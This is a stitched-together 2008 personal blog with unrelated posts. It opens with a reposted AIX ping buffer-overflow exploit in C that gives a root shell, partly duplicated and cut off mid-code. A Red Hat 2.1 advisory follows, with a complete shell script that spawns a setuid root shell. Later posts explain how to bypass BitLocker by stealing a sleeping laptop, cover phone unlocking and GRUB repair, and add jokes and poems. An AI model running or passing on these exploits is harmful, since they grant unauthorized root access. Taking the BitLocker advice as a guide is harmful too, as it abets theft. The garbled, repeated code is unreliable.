Sunday, October 19, 2008

/usr/sbin/ping exploit

here i m posting a exploit ,that i found on net
* /usr/sbin/ping exploit (kinda' coded) by BeastMaster V
*
* CREDITS: this is simpy a modified version of an exploit
* posted by Georgi Guninski (guninski@hotmail.com)
*
* This will give a #rootshell# by overwriting a buffer
* in /usr/sbin/ping while ping is setuid to root.
* This exploit is designed for AIX 4.x on PPC platform.
*
*
* USAGE:
* $ cc -o foo -g aix_ping.c
* $ ./foo 5300
* #
*
*
* HINT: Try giving ranges from 5090 through 5500
*
* DISCLAIMER: use this program in a responsible manner.
*
* --> don't forget to visit http://www.rootshell.com
* --> for more goodies :-)
*
*/

#include
#include
#include

extern int execv();

#define MAXBUF 600

unsigned int code[]={
0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
0x7c0903a6 , 0x4e800420, 0x0
};

char *createvar(char *name,char *value)
{
char *c;
int l;

l=strlen(name)+strlen(value)+4;
if (! (c=malloc(l))) {perror("error allocating");exit(2);};
strcpy(c,name);
strcat(c,"=");
strcat(c,value);
putenv(c);
return c;
}

main(int argc,char **argv,char **env)
{
unsigned int buf[MAXBUF],frame[MAXBUF],i,nop,toc,eco,*pt;
int min=100, max=280;
unsigned int return_address;
char *newenv[8];
char *args[4];
int offset=5300;

if (argc==2) offset = atoi(argv[1]);

pt=(unsigned *) &execv; toc=*(pt+1); eco=*pt;

*((unsigned short *)code+9)=(unsigned short) (toc & 0x0000ffff);
*((unsigned short *)code+7)=(unsigned short) ((toc >> 16) & 0x0000ffff);
*((unsigned short *)code+15)=(unsigned short) (eco & 0x0000ffff);
*((unsigned short *)code+13)=(unsigned short) ((eco >> 16) & 0x0000ffff);

return_address=(unsigned)&buf[0]+offset;

for(nop=0;nop don't forget to visit http://www.rootshell.com
* --> for more goodies :-)
*
*/

#include
#include
#include

extern int execv();

#define MAXBUF 600

unsigned int code[]={
0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
0x7c0903a6 , 0x4e800420, 0x0
};

char *createvar(char *name,char *value)
{
char *c;
int l;

l=strlen(name)+strlen(value)+4;
if (! (c=malloc(l))) {perror("error allocating");exit(2);};
strcpy(c,name);
strcat(c,"=");
strcat(c,value);
putenv(c);
return c;
}

main(int argc,char **argv,char **env)
{
unsigned int buf[MAXBUF],frame[MAXBUF],i,nop,toc,eco,*pt;
int min=100, max=280;
unsigned int return_address;
char *newenv[8];
char *args[4];
int offset=5300;

if (argc==2) offset = atoi(argv[1]);

pt=(unsigned *) &execv; toc=*(pt+1); eco=*pt;

*((unsigned short *)code+9)=(unsigned short) (toc & 0x0000ffff);
*((unsigned short *)code+7)=(unsigned short) ((toc >> 16) & 0x0000ffff);
*((unsigned short *)code+15)=(unsigned short) (eco & 0x0000ffff);
*((unsigned short *)code+13)=(unsigned short) ((eco >> 16) & 0x0000ffff);

return_address=(unsigned)&buf[0]+offset;

for(nop=0;nop

Red Hat 2.1 linux EXPLOIT

 There is a security hole in Red Hat 2.1, which installs the game abuse,
/usr/lib/games/abuse/abuse.console suid root. The abuse.console program
loads its files without absolute pathnames, assuming the user is running
abuse from the /usr/lib/games/abuse directory. One of these files in the
undrv program, which abuse executes as root. If the user is not in the
abuse directory when running this, an arbitrary program can be substituted
for undrv, allowing the user to execute arbitrary commands as root.
If abuse.console needs to be run by users other than root at the console,
provisions need to be made in the code to not execute or load any files
as root.

Program: /usr/lib/games/abuse/abuse.console suid root
Affected Operating Systems: Red Hat 2.1 linux distribution
Requirements: account on system
Patch: chmod -s /usr/lib/games/abuse/abuse.console
Security Compromise: root
Author: Dave M. (davem@cmu.edu)
Synopsis: abuse.console runs undrv without an absolute
pathname while executing as root, allowing
a user to substitute the real undrv with
an arbitrary program.

Exploit:
#!/bin/sh
#
# abuser.sh
# exploits a security hole in abuse to create
# a suid root shell /tmp/abuser on a linux
# Red Hat 2.1 system with the games package
# installed.
#
# by Dave M. (davem@cmu.edu)
#
echo ================ abuser.sh - gain root on Linux Red Hat 2.1 system
echo ================ Checking system vulnerability
if test -u /usr/lib/games/abuse/abuse.console
then
echo ++++++++++++++++ System appears vulnerable.
cd /tmp
cat <<> /tmp/undrv
#!/bin/sh
/bin/cp /bin/sh /tmp/abuser
/bin/chmod 4777 /tmp/abuser
_EOF_
chmod +x /tmp/undrv
PATH=/tmp
echo ================ Executing Abuse
/usr/lib/games/abuse/abuse.console
/bin/rm /tmp/undrv
if test -u /tmp/abuser
then
echo ++++++++++++++++ Exploit successful, suid shell located in /tmp/abuser
else
echo ---------------- Exploit failed
fi
else
echo ---------------- This machine does not appear to be vulnerable.
fi

\--------------------------/

How to dualboot Linux and winblows XP

If you want to install XP on your machine alongside your existing Linux installation on the same physical drive which already has Ubuntu 8.04 installed.You will have to create space on the Linux partition to install winblows XP.
XP bootloader is fairly clumsy when it comes to dualbooting and will overwrite GRUB completely. You will have to reinstall GRUB to the MBR and configure it to dualboot both Ubuntu and XP.

So regardless of which bootloader you end up using, it's a very good move to first back up the GRUB bootloader. It's easy to lose it and unless you know how to re-write it you will hav to re-install Ubundu. tongue.gif

Ok so first start your Ubuntu and go to Applications --> Accessories --> Terminal.
Then, type in sudo gedit /boot/grub/menu.lst.
This text file contains all the information GRUB uses to configure various boot options.

Make a backup of the file by going to File, Save As and selecting a different location. Or take a full copy of the contents and place it into a new text file. If you can, create the backup on a removable disk or networked location. smile.gif

You will need to create space on the hard drive for XP, so this will involve resizing the main Ubuntu partition. Restart the system using the Ubuntu Live CD as this gives you access to GNOME Partition Editor. When the CD loads, select "Try Ubuntu without any change to your computer".
Once the CD loads, go to System, Administration, Partition Editor.
Right-click on the main data partition which has been formatted with ext3 - it should be /dev/sda1 - and select "Resize/Move". Move the slider from the right to shrink the ext3 partition and create free space on the hard drive, which will take the NTFS XP partition. Make sure that the free space is sufficient to hold XP (at least 2GB - preferably 5GB). Then click "Resize/Move" to confirm the selection, and "Apply" back in the main screen to carry out the pending change.

Restart the system with the winblows XP CD and boot into the install program.
In my opinion nfortunately XP isn't so adaptive at handling existing partitions during installation. It detects the two Ubuntu partitions and marks then C: and E: accordingly.
The remaining unpartitioned space which is available for XP will be marked as F:.
For the OS and the vast majority of winblows applications which have properly-coded installation scripts, this is not a problem. Some older applications will assume that C: is the system partition and may bring up errors. sad.gif
There are ways of changing the drive letter assignation of the system partition, but in this scenario it's strongly discouraged.
To insult to injury, XP detects the Linux partition as an active system partition and won't install unless it marks this partition as inactive.

Oki once XP has been installed, it will boot happily into XP but there's no sign of Ubuntu and you will be like WTF???. Tho to reinstate GRUB as the system bootloader it needs to be reinstalled into the MBR.
Boot the system from the Ubuntu Live CD and select "Try Ubuntu without any change to your computer".
Open a Terminal session again - Applications, Accessories, Terminal
To enter the GRUB configuration mode, type in "sudo grub" and press Enter. Then type in the following commands in sequence:
- root (hd0,0)
- setup (hd0)
- quit
- exit

Now once you enter that you need to rboot the system you'll get the GRUB bootloader but XP won't be an option - we need to add this to the boot options.
Boot into Ubuntu and open up another Terminal session. Then, type in sudo gedit /boot/grub/menu.lst then scroll down to the bottom of the file and type in the following text strings:
title winblows XP
root (hd0,1)
makeactive
chainloader +1

Save the file and reboot. When the GRUB loader launches hit ESC for the boot menu. winblows XP is the last option - select it and XP will load.
And thats it now you have two OS's and you can chose which one you would like to start.

Alternate method to repair grub with Knoppix


Here's an alternate method to repaid the boot loader if you've installed winblows. Im assuming knoppix, but im not sure if you can do this with other live cd's as well.

First identify the root partition (im assuming this is something like /dev/hda1).
Mount the partition as writeable (if it isnt).

CODE
sudo mount -o dev,rw /mnt/hda1


Once mounted restore grub:

CODE
sudo chroot /mnt/hda1 grub-install /dev/hda


Note: if you use devfs or for some reason the chroot environment doesn't work you can mount the file system with write permissions then run:

CODE
sudo grub-install -root-directory=/mnt/hda1 /dev/hda


Knoppix also has an update-grub utility (i don't know if it's knoppix specific or if other distros have it). This will automatically generate a menu.lst file for you by scanning the disk for usable kernels and automatically create the menu.lst file. To use it you must run it in a chroot environment. Assuming the root partition is /mnt/hda1:

CODE
cd /mnt/hda1
sudo mkdir boot/grub
sudo cp /sbin/update-grub ./
sudo chroot /mnt/hda1 /update-grub


The final command will prompt you to create a menu file. Click yes.

If you dont have grub installed but want to you can with knoppix. First use the above commands to create the menu file. If the first time grub-update is run it fails to detect the correct root device to use (lets say instead of hda1 you use hda2) open the newly generated menu.lst file (/boot/grub/menu.lst) and edit the line:

CODE
# groot=(hd0,0)


to

CODE
# groot=(hd0,1)


DO NOT REMOVE THE HASH (comment)!! This line is simply a hint to the grub-update tool. Keep it commented out.

The numbering system is pretty simple. It starts from 0 rather than 1. So hda1 = hd0,0 hda2 = 0,1 hda3 = 0,2 and so forth.

Once this is done rerun update-grub to update the menu.lst file:

CODE
cd /mnt/hda2
sudo chroot /mnt/hda2 /update-grub


(Assuming your root is hda2)

Once this is done you are ready to install grub to the boot sector. This doesn't require a chroot environment but you must tell grub-install to use /mnt/hda1 (or whatever) as your root directory:

CODE
sudo grub-install --root-directory=/mnt/hda1 /dev/hda
I hope you find this Topic helpfull. tongue.gif

winblows Vista - Bitlocker, Anyone played around with it?

So any of you guys/gals played about with Microsofts "Bit Locker" security software? It seems to have a loophole that totalyl comprimises its use - basically if the machine is put into sleepmode its possible to wake up the machine and use the machine stright away bypassing BitLockers encryption. Crazy really. So if your going to steal a laptop with bit locker make sure the user has logged in and place it into sleep mode before you steal it - hey prestro you've bypassed the security.

Just incase your not sure what BitLocker is - its the Drive Encryption software thats bundled with Vista Ultimate Edition (I think it comes with the Enterprise edition too). It encrypts the whole drive using AES (Advanced Encryption Standard) with key sizes being 128 or 256 bits.

STUDENTT PROVERB


A FIRST GRADE TEACHER collected old, well known proverbs. She gave each child in her class the first half of a proverb, and had them come up with the rest.



As you shall make your bed so shall you..........mess it up.
Better be safe than......................punch a 5th grader.
Strike while the ..............................bug is close.
It's always darkest before............daylight savings time.
You can lead a horse to water but.......................how?
Don't bite the hand that........................looks dirty.
A miss is as good as a...................................Mr.
You can't teach an old dog new.........................math.
If you lie down with the dogs, you'll..stink in the morning.
The pen is mightier than the...........................pigs.
An idle mind is.......................the best way to relax.
Where there's smoke, there's......................pollution.
Happy the bride who...................gets all the presents.
A penny saved is...................................not much.
Two's company, three's.......................the musketeers.
Laugh and the whole world laughs with you,
cry and..........................you have to blow your nose.
Children should be seen and not.........spanked or grounded.
When the blind leadeth the blind.........get out of the

BUILDING SELF ESTEEM

If you feel that you are not “good enough”, or that you are undeserving of prosperity and friendship; if you feel that you “don’t belong” or are afraid of success, the odds are good that you have some problems with self-esteem

Having low self esteem takes an enormous toll on the quality of your life. You take fewer risks, which limits your opportunities, both personally and professionally. You are reluctant to voice or acknowledge your needs. You are probably also haunted by past mistakes and making future ones.

The good news is that self-esteem is self-taught (no one was born with low self-esteem) , and the solution to raising your self-esteem lies within you. The tools you've used to (unconsciously) lower your self esteem are the same ones you use to raise it. Here are some hints to help you raise your self-esteem:

1. Stop comparing yourself to other people.
If you play this game, you're likely to compare yourself in a negative way and set yourself up for continuing to have low self esteem.
Why continue to play a game where you've set the rules against yourself, so that you're less likely to win! You will never be as rich as Bill Gates or able to hit as many home runs as Barry Bonds. You can’t be them, but they cannot be you, either.

2. Don't keep putting yourself down!
You can't develop high self esteem if you constantly repeat negative comments about your skills and abilities. Other people will pick up on it and take on board the negative way you view yourself. How are they likely to treat you? Also don't beat yourself up over "mistakes" that you've made - learn how to reframe them so that they work for you.

3. Accept all compliments graciously.
Don't dismiss or ignore them. Don’t look at your feet and say, “aw shucks, I really don’t deserve this praise”. You do deserve the praise; that is why you are receiving it. The proper response to any compliment is simple – say ‘Thank you” – and mean it.

4. Mix with positive and supportive people.
Negative people can put you and your ideas down and it lowers your self esteem. On the other hand, when you are surrounded by supportive people, you feel better about yourself, which helps to raise your self esteem. Learn how to develop your positive personal support network.

5. Acknowledge your positive qualities and skills.
Too many people with low self esteem constantly put themselves down (back to no 1 again!) and don't appreciate their many positive attributes. Learn how to truly affirm and value your many excellent qualities. If you find this difficult, ask others to tell you. They'll come up with things you would never have imagined!

6. Stop putting up with stuff!
Not voicing or acknowledging your needs means that you are probably tolerating more than you should. Find out what you're putting up with and zap those tolerations. By doing so, you're giving yourself the message that you're worth it.

7. Make positive contributions to others.
This doesn't mean that you constantly do for others what they could be doing for themselves. But when you do make a positive contribution to others, you begin to feel more valuable, which increases your sense of your own value and raises your self esteem.

8. Involve yourself in work and activities that you love.
So many people with low self esteem stop doing those activities that they most enjoy. Even if you're not in a position to make immediate changes in your career, you can still devote some of your leisure time to enjoyable hobbies and activities.

Start taking action!

The universe rewards action.

Backing away and avoiding challenges means that your self esteem muscles become weak and flabby.

When you start to take action - regardless of the outcome - you will start to feel better about yourself, develop your self confidence and raise your self esteem.

.If you have any suggestions on how to stop spinning your wheels, or if you have any suggestions or any topics you would like to see covered here

How to Unlock Your Nokia Cell Phone

Typically when you purchase a cell phone, the company that sold you the phone 'locked' the phone before you bought it, so you can only use it on their network. This means that you can't use your phone on any other network, even if you change the SIM (which is an abbreviation for Subscriber Identity Module) card. The SIM card is the little piece of plastic that identifies your phone to the cellular network. Changing your SIM card to have your phone work on another network is useful especially if you want to travel to another country and want to buy a pre-paid SIM card so you can have cell phone access without roaming charges. There are services that offer to provide unlocking capabilities for a fee, but don't pay for them! You can do it yourself for free, which is the perfect price.

Steps


1. Before trying anything else, contact your service provider and ask for an unlock code. Usually, if you've been a customer of theirs for some time, they will provide you with an unlock code for free. This is, by far, the best way to get your phone unlocked.
2. Download software to generate the unlocking code. Software is available on some websites for free and some pay websites that also offer support if things go wrong. See external links below.
3. Find the Serial number of the cell phone, also known as your IMEI number. This can be done by either removing the back of your cell phone and looking underneath the battery, or simply by typing in *#06# into your cell phone. It should be something like: 030057361439976/05429508118
4. Using the software you have downloaded, enter in your Manufacturer (which is in this case Nokia), your model number, and your IMEI number. Also enter your country and the Network. Calculate the code, this may be different depending on which software you are using. If your phone is the Nokia 3390 phone, select the model 3310, they are the same phone.

* #pw+403927744443466+7#

5. Remove the SIM card from your Nokia phone. This is typically done by removing the back cover of the phone and removing the battery and sliding the card out. Put the battery back in and power the phone on.
6. You will see a message "Insert SIM Card". Enter all of the characters you see in your code, including the # symbols. To get a 'p' press * 3 times, to get a '+' press the * key 2 times, to get a 'w' press the * key 4 times. Disregard any spaces in the code.
7. In order to unlock your phone you generally need to enter only one code. Start with the first one. If your phone is not unlocked by typing the first code (MCC+MNC), use code "7" (Multilock)
8. Once you have finished entering a code that works you should see a message that says "SIM is not restricted" or "Restriction off" message depending on your model. If not, try entering another code. Message "Cannot undo restrictions" means the phone is "hard-locked" and cannot be unlocked by code.



Tips


* Unlocking only applies to GSM phones, phones using other cellular technologies, cannot be unlocked without special software and hardware.
* Switch off the phone. Hold the keys "3", "*" and "Call" and switch the phone on. Keep the buttons held down till you see the word "Formatting..." on the screen. Make sure that the battery is full charged before you attempt this. This should reset the phone lock code.



Warnings


* Attempting to unlock your phone is done at your own risk. Although unlocking your phone is legal, some cell phone operators might choose to void your warranty should you unlock your phone (then again, some cell phone operators won't mind).
* Most phones only allow you to try a certain number of unlock tries, Nokia phones have a limit of 5 tries. After that, the phone becomes "hard-locked", meaning it cannot be unlocked without using special equipment.
* Most of the newer phones will not work with the codes generated by the free unlock programs.

Friday, October 10, 2008

Exam Laws

1)80% of the questions has to be from those topics which u have left as unimportant.
2)There's always a dumbo sitting in front of u.

3)u help the person sitting behind u so that he passes, n ironically u flunk.
4)the question u left out in last minute revision, always appears in the paper...
5)the amount u study is inversely proportional to the time left before the exam..
6)the person whom you help gets more than you.
7)if u look at the paper once it looks easy...once u try to attempt it becomes difficult....
8)when u know everything in the paper.. u will always run out of time
9)The invigilator decides to stare at ur answersheet at the precise instant when u begin with an answer u have no clue about.
10)When you see your exam timetable, you will invariably figure out that the subject you have studied the worst has the least time gap for preparation
11)everything seems too difficult to study when u look at it wayy before the exam..so u leave it out...and then when u look at it just before ur exam...it becomes so simple...but u dont hv the time to study it..
12)when u study sumthin for ur exam, its difficult
after u finish ur exam, n go thro ur notes again, u realise everytin is actually very easy!
13)MCQs which boil down to 50-50 the option chosen always turns out to be the wrong one(the option left always turns out to be the correct one).
14)you have studied only 50% of syllabus for exam, and 50% paper was only from syllabus. You answer both 25% out of syllabus & 25 % from syllabus...n you make it 50%.
15)Suddenly u feel like watchin all d moviezz wen u know tat u don even hav a minute to waste.
16)when u decide to sit and start studying for ur exam at night there is a power cut.
17)u teach someone the subject, they pass. u fail
18)

flunk & pass

whenever u fail n others pass they say "questions r so easy, how come u become a flunk"

one another corollary

whenever u pass n others flunk they say "questions r so hard, how come u managed a pass"
19)The flying squad chooses the same day for an emergency check up which you ahve decided for taking the help of chit n parchi etc..
20)he sharpest & shrewdest & most experienced member of the squad sets his sight on U & gets his hand to the exact location(which was incidentally regarded by U as 'ultra safe') where U have hidden the objectionable materia
21)The flying squad will check only those who are carrying the chit-parchis for the very first time in their lives ( incidentally,such fellows have an oath never to use such unfair means again,if they succed in their endeavour this only time)....
22)Eighty percent of the final exam will be based on the one lecture you missed and about the one book you didn't read
23)It is during exams, ya favourite movies are put on t.v... or best movies r released... or ya fav shows turn more interesting!!
24)whenever v have given a choice to ans one question out of two, in such case v r able to ans A part of first question n B part of the second question.... or vice-versa...
25)as soon as u emerge out of the exam hall, happy tht u successfully answered all questions, ur friends start discussing the answers and u find tht u have answered atleat one wrong!!!
26)Your friend to whom you helped in a subject will manage to get more marks in that subject than you.
27)"The magnitude of sleep is directly proportional to the difficulty of an exam..

murphys law on girls........... and love


MURPHY'S LAWS
Murphy's laws on girls.....



1. If u think a girl is beautiful, she'll always have a boyfriend
to confirm that

2. the nicer she is...the quicker u will be dumped!!!!!

3. The more the makeup, worse the looks...

4. "95% of the girls in this world are beautiful. Remaining 5%
would always be in your college.".................100% true

5. The guy standing next to a beautiful girl can never be her
brother.

6. If by any chance the girl you like , likes you too, she will
let you know in about 10 years from now ,when you are committed..

7. The more you ignore a girl, the more she'll want to be friends
with you.

8. Theory of relativity......

The more u run towards a hot chick....the more she goes away from u...



9. Rule 1:
Even if you got her out alone... just when you are about to let her know
about your feelings...she will spot a long lost friend( I guess from
Kumbh ka Mela)

Corollary to rule 1:
The more desperate you are to tell your feelings to a girl on a private
chat, the more probability the long lost friend she discovered is a
handsome superman, who beats you in everything 9:1

Axiom 1:
The more dedicated you are to the girl, the longer it takes before
things work out, but ultimately it will (somesmile for the guys)



10. the day the chick you really like comes and speaks to you
will be the day when-
1. You are dressed badly
2. You forgot to brush your teeth for the first time in your life 3.
Have a bad hair day

11. all the good girls are either nuns or married .the rest go
around with u and ruin ur money,health and leave u a total wreck.

12. the more seriously u like a girl...the more seriously her dad
will hate u

13. the love you shower a girl with is directly proportional to
the number of bullets her dad will be showering at you

14)when u think u've met the right one...

i)u wont get to see her nemore
ii)she'z getting married next week
iii)she'd be leaving the country the next day
iv)she's either too young or toooo old
v)she'd be the last one to realize u have a thing for her....
vi) yaa this is the worst one...u'd never have neway to keep in touch with her !!!!!!!
15) all the good looking babes....end up with jerks
16) ur mum is always calling just when a cute guy/gal is abt 2 talk 2 u
17)she thinks u a flirt as long as u lov her
they fall for u when u start flirting..
18) the most gorgeous girls always go to the worst lookers in town
19)Beauty x Brain x Availablity = constant (the BBA law)
20)Two in da bush r always better dan one in hand
21)Ur intrest in a girl and her intrest in u r invsersely propotional

The mind of a girl


Hello friends this is my 1st attempt to write blog(since I am lazy I hate blogging).I happened to read this amazing poetry called 'A mind of a girl' written by an acquaintance sometime back ....hmmm wait.. did i just hear you letting out that sigh when i mentioned the word 'poetry' ? You did? then i guess you are quite normal ( Oh you dint eh? then im sure you are super normal...like me :P ) . But let me assure you something, if you are a guy then im sure you're gonna like this piece of work but if you are a girl then im sorry, you're simply gonna love it.

THE MIND OF A GIRL

There exists something very complex and grand
which even Einstien could not understand
It makes every boy's heart go in a whirl,
That thing is - the mind of a girl

A secret no man could ever unravel,
Although far and wide did he travel
To understand what his love really meant,
most men have only, their entire lives spent

Let us men try and break the shackles,
Even if it means a rip on our knuckles,
I'll tell you guys all that I know,
I hope all girls, then forgive me for doing so

A boy likes a girl, primarily for her face,
Also her figure if it's like a curvy vase
Looks do matter for a girl, but there's something more,
It's the boy's character, that's always at the fore

Boys are quite casual, with many girl-friends at a time,
Girls are not quite so, they don't just fall for a dime
They may have many crushes, will never disclose them,
But there's always a special someone, they'll adore like a gem

A girl will take good time, to turn her "like" to "love",
Immediately afterwards, she will want you to take the "vow"
To pledge unflinching love and never ever betray,
This to most boys, is something out of the way

Boys are the first ones, who want to get physical,
But before commiting, girls don't think it's ethical
This is very true and boys seldom make a try,
To get into the girl's place, and know the reason why!

A girl wants a boy to be unique in himself
But every boy imitates a Shahrukh, Salman or Saif!
The girl likes the boy for what he really is,
But the boy wants the girl to become - "like this"!

Girls like their personal space, which boys seldom give
He wants her all the time and becomes very possessive
A girl hates being ruled and finally gives away,
The boy keeps wondering, what went wrong in his way!

A girl will reveal her mind, to a kind and patient boy,
All he needs to do, is just act a bit coy
It's a battle of the sexes, and we boys must win here,
If nothing else, atleast this will bring us some cheer

So remember all that you have now read,
Before on the path of love you tread!
Now you know what is the correct way,
Do what she thinks, before she can even say!

tHE eNGINEERING pREAMBLE


Hey guys,
I came across this interesting sms...Thought i would share it with u....njoy

THE ENGINEERING PREAMBLE

We the unwilling, led by the unknowing, are doing the impossible for the ungrateful. We have done so much for so long, with so little, we will one day qualify to do anything without knowing nothing. Be proud to be an ENGINEER!!!